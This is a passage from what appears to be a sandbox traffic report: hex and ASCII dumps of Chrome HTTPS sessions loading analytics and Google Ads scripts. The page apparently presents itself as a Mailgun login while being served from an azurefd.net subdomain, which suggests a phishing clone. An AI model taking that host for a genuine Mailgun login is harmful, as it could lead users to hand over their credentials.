2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 73 65 74 49 6d 6d 65 64 69 61 74 65 Data Ascii: turn new u((function(e,n){n(t)}))},u.race=function(t){return new u((function(e,n){if(!a(t))return n(new TypeError("Promise.race accepts an array"));for(var r=0,i=t.length;r<i;r++)u.resolve(t[r]).then(e,n)}))},u._immediateFn="function"==typeof setImmediate
2024-07-03 12:38:46 UTC	1378	IN	Data Raw: 68 72 6f 77 22 3d 3d 3d 69 29 74 68 72 6f 77 20 6f 3b 72 65 74 75 72 6e 20 43 28 29 7d 66 6f 72 28 6e 2e 6d 65 74 68 6f 64 3d 69 2c 6e 2e 61 72 67 3d 6f 3b 3b 29 7b 76 61 72 20 61 3d 6e 2e 64 65 6c 65 67 61 74 65 3b 69 66 28 61 29 7b 76 61 72 20 63 3d 67 28 61 2c 6e 29 3b 69 66 28 63 29 7b 69 66 28 63 3d 3d 3d 6c 29 63 6f 6e 74 69 6e 75 65 3b 72 65 74 75 72 6e 20 63 7d 7d 69 66 28 22 6e 65 78 74 22 3d 3d 3d 6e 2e 6d 65 74 68 6f 64 29 6e 2e 73 65 6e 74 3d 6e 2e 5f 73 65 6e 74 3d 6e 2e 61 72 67 3b 65 6c 73 65 20 69 66 28 22 74 68 72 6f 77 22 3d 3d 3d 6e 2e 6d 65 74 68 6f 64 29 7b 69 66 28 22 73 75 73 70 65 6e 64 65 64 53 74 61 72 74 22 3d 3d 3d 72 29 74 68 72 6f 77 20 72 3d 22 63 6f 6d 70 6c 65 74 65 64 22 2c 6e 2e 61 72 67 3b 6e 2e 64 69 73 70 61 74 63 68 Data Ascii: hrow"===i)throw o;return C()}for(n.method=i,n.arg=o;;){var a=n.delegate;if(a){var c=g(a,n);if(c){if(c===l)continue;return c}}if("next"===n.method)n.sent=n._sent=n.arg;else if("throw"===n.method){if("suspendedStart"===r)throw r="completed",n.arg;n.dispatch
2024-07-03 12:38:46 UTC	1378	IN	Data Raw: 29 7d 28 69 2c 6f 2c 72 2c 61 29 7d 29 29 7d 72 65 74 75 72 6e 20 72 3d 72 3f 72 2e 74 68 65 6e 28 61 2c 61 29 3a 61 28 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 67 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 2e 69 74 65 72 61 74 6f 72 5b 65 2e 6d 65 74 68 6f 64 5d 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 6e 29 7b 69 66 28 65 2e 64 65 6c 65 67 61 74 65 3d 6e 75 6c 6c 2c 22 74 68 72 6f 77 22 3d 3d 3d 65 2e 6d 65 74 68 6f 64 29 7b 69 66 28 74 2e 69 74 65 72 61 74 6f 72 2e 72 65 74 75 72 6e 26 26 28 65 2e 6d 65 74 68 6f 64 3d 22 72 65 74 75 72 6e 22 2c 65 2e 61 72 67 3d 76 6f 69 64 20 30 2c 67 28 74 2c 65 29 2c 22 74 68 72 6f 77 22 3d 3d 3d 65 2e 6d 65 74 68 6f 64 29 29 72 65 74 75 72 6e 20 6c 3b 65 2e 6d 65 74 68 6f 64 3d 22 74 68 72 6f 77 22 2c 65 2e 61 72 67 3d 6e 65 Data Ascii: )}(i,o,r,a)}))}return r=r?r.then(a,a):a()}}function g(t,e){var n=t.iterator[e.method];if(void 0===n){if(e.delegate=null,"throw"===e.method){if(t.iterator.return&&(e.method="return",e.arg=void 0,g(t,e),"throw"===e.method))return l;e.method="throw",e.arg=ne
2024-07-03 12:38:46 UTC	1378	IN	Data Raw: 61 74 6f 72 46 75 6e 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 72 65 74 75 72 6e 21 21 65 26 26 28 65 3d 3d 3d 64 7c 7c 22 47 65 6e 65 72 61 74 6f 72 46 75 6e 63 74 69 6f 6e 22 3d 3d 3d 28 65 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 65 2e 6e 61 6d 65 29 29 7d 2c 74 2e 6d 61 72 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2c 68 29 3a 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 68 2c 63 28 74 2c 61 2c 22 47 65 6e 65 72 61 74 6f 72 46 75 6e 63 74 69 6f 6e 22 29 29 2c 74 2e 70 Data Ascii: atorFunction=function(t){var e="function"==typeof t&&t.constructor;return!!e&&(e===d\|\|"GeneratorFunction"===(e.displayName\|\|e.name))},t.mark=function(t){return Object.setPrototypeOf?Object.setPrototypeOf(t,h):(t.__proto__=h,c(t,a,"GeneratorFunction")),t.p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49741	18.239.83.17	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:46 UTC	573	OUT	GET /v1.1/rudder-analytics.min.js HTTP/1.1 Host: cdn.rudderlabs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:46 UTC	582	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 124488 Connection: close Date: Wed, 03 Jul 2024 12:38:47 GMT Last-Modified: Mon, 01 Jul 2024 15:21:50 GMT ETag: "f48f24a493ed7855b4fd7ea68f53306f" x-amz-server-side-encryption: AES256 Cache-Control: max-age=3600 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 c42cd753c9927a74eed5ac8cd899bf30.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P5 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: qcZIlOVc0Zibs9dpqNCPNmej-oox-YK1Yk2woihAsGRQ54KRqipaQw==
2024-07-03 12:38:46 UTC	10448	IN	Data Raw: 76 61 72 20 72 75 64 64 65 72 61 6e 61 6c 79 74 69 63 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 74 29 7b 28 6e 75 6c 6c 3d 3d 74 7c 7c 74 3e 65 2e 6c 65 6e 67 74 68 29 26 26 28 74 3d 65 2e 6c 65 6e 67 74 68 29 3b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 41 72 72 61 79 28 74 29 3b 6e 3c 74 3b 6e 2b 2b 29 72 5b 6e 5d 3d 65 5b 6e 5d 3b 72 65 74 75 72 6e 20 72 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 Data Ascii: var rudderanalytics=function(e){"use strict";function t(e,t){(null==t\|\|t>e.length)&&(t=e.length);for(var n=0,r=Array(t);n<t;n++)r[n]=e[n];return r}function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function r(e,t
2024-07-03 12:38:46 UTC	7435	IN	Data Raw: 2c 4c 45 4d 4e 49 53 4b 3a 22 4c 65 6d 6e 69 73 6b 22 2c 54 49 4b 54 4f 4b 5f 41 44 53 3a 22 54 69 6b 74 6f 6b 41 64 73 22 2c 41 43 54 49 56 45 5f 43 41 4d 50 41 49 47 4e 3a 22 41 63 74 69 76 65 43 61 6d 70 61 69 67 6e 22 2c 53 50 52 49 47 3a 22 53 70 72 69 67 22 2c 53 50 4f 54 49 46 59 50 49 58 45 4c 3a 22 53 70 6f 74 69 66 79 50 69 78 65 6c 22 2c 43 4f 4d 4d 41 4e 44 42 41 52 3a 22 43 6f 6d 6d 61 6e 64 42 61 72 22 2c 4e 49 4e 45 54 41 49 4c 45 44 3a 22 4e 69 6e 65 74 61 69 6c 65 64 22 7d 2c 4c 3d 22 41 44 4f 42 45 5f 41 4e 41 4c 59 54 49 43 53 22 3b 6f 28 7b 7d 2c 22 41 64 6f 62 65 20 41 6e 61 6c 79 74 69 63 73 22 2c 22 41 64 6f 62 65 41 6e 61 6c 79 74 69 63 73 22 29 3b 76 61 72 20 78 3d 6f 28 6f 28 6f 28 6f 28 6f 28 6f 28 7b 22 41 64 6f 62 65 20 41 6e Data Ascii: ,LEMNISK:"Lemnisk",TIKTOK_ADS:"TiktokAds",ACTIVE_CAMPAIGN:"ActiveCampaign",SPRIG:"Sprig",SPOTIFYPIXEL:"SpotifyPixel",COMMANDBAR:"CommandBar",NINETAILED:"Ninetailed"},L="ADOBE_ANALYTICS";o({},"Adobe Analytics","AdobeAnalytics");var x=o(o(o(o(o(o({"Adobe An
2024-07-03 12:38:46 UTC	16384	IN	Data Raw: 65 20 41 6e 61 6c 79 74 69 63 73 33 36 30 22 2c 76 74 29 2c 22 47 6f 6f 67 6c 65 20 61 6e 61 6c 79 74 69 63 73 33 36 30 22 2c 76 74 29 2c 22 67 6f 6f 67 6c 65 20 61 6e 61 6c 79 74 69 63 73 33 36 30 22 2c 76 74 29 2c 22 47 6f 6f 67 6c 65 41 6e 61 6c 79 74 69 63 73 33 36 30 22 2c 76 74 29 2c 22 47 41 20 33 36 30 22 2c 76 74 29 2c 49 74 3d 22 41 44 52 4f 4c 4c 22 3b 6f 28 7b 7d 2c 22 41 64 72 6f 6c 6c 22 2c 22 41 64 72 6f 6c 6c 22 29 3b 76 61 72 20 41 74 3d 6f 28 6f 28 6f 28 6f 28 6f 28 7b 7d 2c 49 74 2c 49 74 29 2c 22 41 64 72 6f 6c 6c 22 2c 49 74 29 2c 22 41 64 20 72 6f 6c 6c 22 2c 49 74 29 2c 22 61 64 20 72 6f 6c 6c 22 2c 49 74 29 2c 22 61 64 72 6f 6c 6c 22 2c 49 74 29 2c 62 74 3d 22 44 43 4d 5f 46 4c 4f 4f 44 4c 49 47 48 54 22 3b 6f 28 7b 7d 2c 22 44 43 Data Ascii: e Analytics360",vt),"Google analytics360",vt),"google analytics360",vt),"GoogleAnalytics360",vt),"GA 360",vt),It="ADROLL";o({},"Adroll","Adroll");var At=o(o(o(o(o({},It,It),"Adroll",It),"Ad roll",It),"ad roll",It),"adroll",It),bt="DCM_FLOODLIGHT";o({},"DC
2024-07-03 12:38:46 UTC	630	IN	Data Raw: 61 74 65 48 6d 61 63 48 65 6c 70 65 72 28 73 29 2c 61 2e 53 48 41 31 29 29 2c 6e 72 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 69 2c 6f 2c 73 2c 61 7d 76 61 72 20 69 72 2c 6f 72 2c 73 72 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 72 28 29 7b 72 65 74 75 72 6e 20 6f 72 7c 7c 28 6f 72 3d 31 2c 74 72 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 3d 28 74 3d 65 29 2e 6c 69 62 2c 72 3d 6e 2e 42 61 73 65 2c 69 3d 6e 2e 57 6f 72 64 41 72 72 61 79 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 6f 2e 4d 44 35 2c 61 3d 6f 2e 45 76 70 4b 44 46 3d 72 2e 65 78 74 65 6e 64 28 7b 63 66 67 3a 72 2e 65 78 74 65 6e 64 28 7b 6b 65 79 53 69 7a 65 3a 34 2c 68 61 73 68 65 72 3a 73 2c 69 74 65 72 61 Data Ascii: ateHmacHelper(s),a.SHA1)),nr.exports;var e,t,n,r,i,o,s,a}var ir,or,sr={exports:{}};function ar(){return or\|\|(or=1,tr.exports=function(e){return n=(t=e).lib,r=n.Base,i=n.WordArray,o=t.algo,s=o.MD5,a=o.EvpKDF=r.extend({cfg:r.extend({keySize:4,hasher:s,itera
2024-07-03 12:38:46 UTC	16384	IN	Data Raw: 2c 65 2e 45 76 70 4b 44 46 3b 76 61 72 20 74 2c 6e 2c 72 2c 69 2c 6f 2c 73 2c 61 7d 28 56 6e 28 29 2c 72 72 28 29 2c 28 69 72 7c 7c 28 69 72 3d 31 2c 73 72 2e 65 78 70 6f 72 74 73 3d 28 65 3d 56 6e 28 29 2c 76 6f 69 64 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 65 2c 6e 3d 74 2e 6c 69 62 2e 42 61 73 65 2c 72 3d 74 2e 65 6e 63 2e 55 74 66 38 3b 74 2e 61 6c 67 6f 2e 48 4d 41 43 3d 6e 2e 65 78 74 65 6e 64 28 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 3d 74 68 69 73 2e 5f 68 61 73 68 65 72 3d 6e 65 77 20 65 2e 69 6e 69 74 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 72 2e 70 61 72 73 65 28 74 29 29 3b 76 61 72 20 6e 3d 65 2e 62 6c 6f 63 6b 53 69 7a 65 2c 69 3d 34 2a 6e 3b 74 2e 73 69 67 42 79 74 65 73 Data Ascii: ,e.EvpKDF;var t,n,r,i,o,s,a}(Vn(),rr(),(ir\|\|(ir=1,sr.exports=(e=Vn(),void function(){var t=e,n=t.lib.Base,r=t.enc.Utf8;t.algo.HMAC=n.extend({init:function(e,t){e=this._hasher=new e.init,"string"==typeof t&&(t=r.parse(t));var n=e.blockSize,i=4*n;t.sigBytes
2024-07-03 12:38:46 UTC	2442	IN	Data Raw: 2c 44 72 2e 65 78 70 6f 72 74 73 2e 64 65 65 70 3d 48 72 3b 76 61 72 20 71 72 3d 67 28 44 72 2e 65 78 70 6f 72 74 73 29 2c 56 72 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 2c 57 72 3d 53 72 28 22 63 6f 6f 6b 69 65 22 29 2c 59 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 73 77 69 74 63 68 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 63 61 73 65 20 33 3a 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6e 3d 6e 7c 7c 7b 7d 3b 76 61 72 20 72 3d 4a 72 28 65 29 2b 22 3d 22 2b 4a 72 28 74 29 3b 6e 75 6c 6c 3d 3d 74 26 26 28 6e 2e 6d 61 78 61 67 65 3d 2d 31 29 3b 6e 2e 6d 61 78 61 67 65 26 26 28 6e 2e 65 78 70 69 72 65 73 3d 6e 65 77 20 44 61 74 65 28 2b 6e 65 77 20 44 61 74 65 2b 6e 2e 6d 61 78 61 67 65 Data Ascii: ,Dr.exports.deep=Hr;var qr=g(Dr.exports),Vr={exports:{}},Wr=Sr("cookie"),Yr=function(e,t,n){switch(arguments.length){case 3:case 2:return function(e,t,n){n=n\|\|{};var r=Jr(e)+"="+Jr(t);null==t&&(n.maxage=-1);n.maxage&&(n.expires=new Date(+new Date+n.maxage
2024-07-03 12:38:46 UTC	16384	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 2c 21 21 2f 5e 5c 7b 5b 5c 73 5c 53 5d 2a 5c 7d 24 2f 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 65 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 2b 22 22 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 74 72 79 7b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 70 61 72 73 65 28 65 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 46 75 Data Ascii: function e(e){return e=JSON.stringify(e),!!/^\{[\s\S]*\}$/.test(e)}function t(e){return void 0===e\|\|"function"==typeof e?e+"":JSON.stringify(e)}function n(e){if("string"==typeof e)try{return JSON.parse(e)}catch(t){return e}}function r(e){return"[object Fu
2024-07-03 12:38:46 UTC	1024	IN	Data Raw: 63 61 6c 53 74 6f 72 61 67 65 3a 78 6f 2c 43 6f 2e 69 6e 4d 65 6d 6f 72 79 45 6e 67 69 6e 65 3d 78 6f 3b 76 61 72 20 4d 6f 3d 50 6f 2c 42 6f 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2c 4e 6f 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 3f 41 72 72 61 79 2e 69 73 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 5d 22 3d 3d 3d 42 6f 2e 63 61 6c 6c 28 65 29 7d 2c 47 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 4e 6f 28 65 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 3d 65 26 26 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 68 28 65 29 3b 72 65 74 75 Data Ascii: calStorage:xo,Co.inMemoryEngine=xo;var Mo=Po,Bo=Object.prototype.toString,No="function"==typeof Array.isArray?Array.isArray:function(e){return"[object Array]"===Bo.call(e)},Go=function(e){return null!=e&&(No(e)\|\|"function"!==e&&function(e){var t=h(e);retu
2024-07-03 12:38:46 UTC	15345	IN	Data Raw: 6e 2c 56 6f 28 74 29 29 7d 63 61 74 63 68 28 6e 29 7b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 21 31 3b 69 66 28 65 2e 63 6f 64 65 29 73 77 69 74 63 68 28 65 2e 63 6f 64 65 29 7b 63 61 73 65 20 32 32 3a 74 3d 21 30 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 30 31 34 3a 22 4e 53 5f 45 52 52 4f 52 5f 44 4f 4d 5f 51 55 4f 54 41 5f 52 45 41 43 48 45 44 22 3d 3d 3d 65 2e 6e 61 6d 65 26 26 28 74 3d 21 30 29 7d 65 6c 73 65 2d 32 31 34 37 30 32 34 38 38 32 3d 3d 3d 65 2e 6e 75 6d 62 65 72 26 26 28 74 3d 21 30 29 3b 72 65 74 75 72 6e 20 74 7d 29 28 6e 29 26 26 28 74 68 69 73 2e 5f 73 77 61 70 45 6e 67 69 6e 65 28 29 2c 74 68 69 73 2e 73 65 74 28 65 2c 74 29 29 7d 7d 2c 57 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 Data Ascii: n,Vo(t))}catch(n){(function(e){var t=!1;if(e.code)switch(e.code){case 22:t=!0;break;case 1014:"NS_ERROR_DOM_QUOTA_REACHED"===e.name&&(t=!0)}else-2147024882===e.number&&(t=!0);return t})(n)&&(this._swapEngine(),this.set(e,t))}},Wo.prototype.get=function(e)
2024-07-03 12:38:46 UTC	2553	IN	Data Raw: 49 64 73 2e 70 75 73 68 28 6e 29 7d 29 29 2c 74 68 69 73 2e 75 73 65 72 53 65 74 43 6f 6e 73 65 6e 74 47 72 6f 75 70 49 64 73 3d 74 68 69 73 2e 75 73 65 72 53 65 74 43 6f 6e 73 65 6e 74 47 72 6f 75 70 49 64 73 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 29 29 2c 74 68 69 73 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 3d 21 30 7d 65 6c 73 65 20 44 6e 2e 65 72 72 6f 72 28 22 4f 6e 65 54 72 75 73 74 20 72 65 73 6f 75 72 63 65 73 20 61 72 65 20 6e 6f 74 20 61 63 63 65 73 73 69 62 6c 65 2e 22 29 7d 29 2c 5b 7b 6b 65 79 3a 22 69 73 45 6e 61 62 6c 65 64 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 72 79 7b 69 66 28 21 74 68 69 73 2e 69 Data Ascii: Ids.push(n)})),this.userSetConsentGroupIds=this.userSetConsentGroupIds.map((function(e){return e.toUpperCase()})),this.isInitialized=!0}else Dn.error("OneTrust resources are not accessible.")}),[{key:"isEnabled",value:function(e){var t=this;try{if(!this.i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49742	142.250.185.130	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:46 UTC	1117	OUT	GET /pagead/viewthroughconversion/1005952947/?random=1685204592833&cv=11&fst=1685204592833&bg=ffffff&guid=ON&async=1&gtm=45He35o0&u_w=1536&u_h=864&url=https%3A%2F%2Flogin.mailgun.com%2Flogin%2F&label=D44PCKXQjAQQs7_W3wM&hn=www.googleadservices.com&frm=0&tiba=Login%20%7C%20Mailgun&auid=46058530.1685204589&fledge=1&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B113.0.5672.93%7CChromium%3B113.0.5672.93%7CNot-A.Brand%3B24.0.0.0&uamb=0&uap=Windows&uapv=10.0.0&uaw=0&rfmt=3&fmt=4 HTTP/1.1 Host: googleads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:46 UTC	842	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Wed, 03 Jul 2024 12:38:46 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Wed, 03-Jul-2024 12:53:46 GMT; path=/; domain=.doubleclick.net; Secure; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-03 12:38:46 UTC	548	IN	Data Raw: 39 63 34 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 73 20 3d 20 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 7d 3b 2f 2a 20 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 2a 2f 20 76 61 72 20 66 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 76 61 72 20 67 2c 6b 3b 61 3a 7b 66 6f 72 28 76 61 72 20 6c 3d 5b 22 43 4c 4f 53 55 52 45 5f 46 4c 41 47 53 22 5d 2c 70 3d 66 2c 71 3d 30 3b 71 3c 6c 2e 6c 65 6e 67 74 68 3b 71 2b 2b 29 69 66 28 70 3d 70 5b 6c 5b 71 5d 5d 2c 70 3d 3d 6e 75 6c 6c 29 7b 6b 3d 6e 75 6c 6c 3b 62 72 65 61 6b 20 61 7d 6b 3d 70 7d 76 61 72 20 Data Ascii: 9c4(function(){var s = {};(function(){var e={};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var f=this\|\|self;var g,k;a:{for(var l=["CLOSURE_FLAGS"],p=f,q=0;q<l.length;q++)if(p=p[l[q]],p==null){k=null;break a}k=p}var
2024-07-03 12:38:46 UTC	1390	IN	Data Raw: 20 67 3f 21 21 74 26 26 74 2e 62 72 61 6e 64 73 2e 6c 65 6e 67 74 68 3e 30 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 29 7b 72 65 74 75 72 6e 20 79 28 29 3f 77 28 22 43 68 72 6f 6d 69 75 6d 22 29 3a 28 78 28 22 43 68 72 6f 6d 65 22 29 7c 7c 78 28 22 43 72 69 4f 53 22 29 29 26 26 21 28 79 28 29 3f 30 3a 78 28 22 45 64 67 65 22 29 29 7c 7c 78 28 22 53 69 6c 6b 22 29 7d 3b 21 78 28 22 41 6e 64 72 6f 69 64 22 29 7c 7c 7a 28 29 3b 7a 28 29 3b 21 78 28 22 53 61 66 61 72 69 22 29 7c 7c 7a 28 29 7c 7c 28 79 28 29 3f 30 3a 78 28 22 43 6f 61 73 74 22 29 29 7c 7c 28 79 28 29 3f 30 3a 78 28 22 4f 70 65 72 61 22 29 29 7c 7c 28 79 28 29 3f 30 3a 78 28 22 45 64 67 65 22 29 29 7c 7c 28 79 28 29 3f 77 28 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 29 3a 78 28 22 45 Data Ascii: g?!!t&&t.brands.length>0:!1}function z(){return y()?w("Chromium"):(x("Chrome")\|\|x("CriOS"))&&!(y()?0:x("Edge"))\|\|x("Silk")};!x("Android")\|\|z();z();!x("Safari")\|\|z()\|\|(y()?0:x("Coast"))\|\|(y()?0:x("Opera"))\|\|(y()?0:x("Edge"))\|\|(y()?w("Microsoft Edge"):x("E
2024-07-03 12:38:46 UTC	569	IN	Data Raw: 35 33 36 5c 78 32 36 75 5f 68 5c 78 33 64 38 36 34 5c 78 32 36 75 72 6c 5c 78 33 64 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6c 6f 67 69 6e 2e 6d 61 69 6c 67 75 6e 2e 63 6f 6d 25 32 46 6c 6f 67 69 6e 25 32 46 5c 78 32 36 6c 61 62 65 6c 5c 78 33 64 44 34 34 50 43 4b 58 51 6a 41 51 51 73 37 5f 57 33 77 4d 5c 78 32 36 68 6e 5c 78 33 64 77 77 77 2e 67 6f 6f 67 6c 65 61 64 73 65 72 76 69 63 65 73 2e 63 6f 6d 5c 78 32 36 66 72 6d 5c 78 33 64 30 5c 78 32 36 74 69 62 61 5c 78 33 64 4c 6f 67 69 6e 25 32 30 25 37 43 25 32 30 4d 61 69 6c 67 75 6e 5c 78 32 36 61 75 69 64 5c 78 33 64 34 36 30 35 38 35 33 30 2e 31 36 38 35 32 30 34 35 38 39 5c 78 32 36 66 6c 65 64 67 65 5c 78 33 64 31 5c 78 32 36 75 61 61 5c 78 33 64 78 38 36 5c 78 32 36 75 61 62 5c 78 33 64 36 34 5c Data Ascii: 536\x26u_h\x3d864\x26url\x3dhttps%3A%2F%2Flogin.mailgun.com%2Flogin%2F\x26label\x3dD44PCKXQjAQQs7_W3wM\x26hn\x3dwww.googleadservices.com\x26frm\x3d0\x26tiba\x3dLogin%20%7C%20Mailgun\x26auid\x3d46058530.1685204589\x26fledge\x3d1\x26uaa\x3dx86\x26uab\x3d64\
2024-07-03 12:38:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
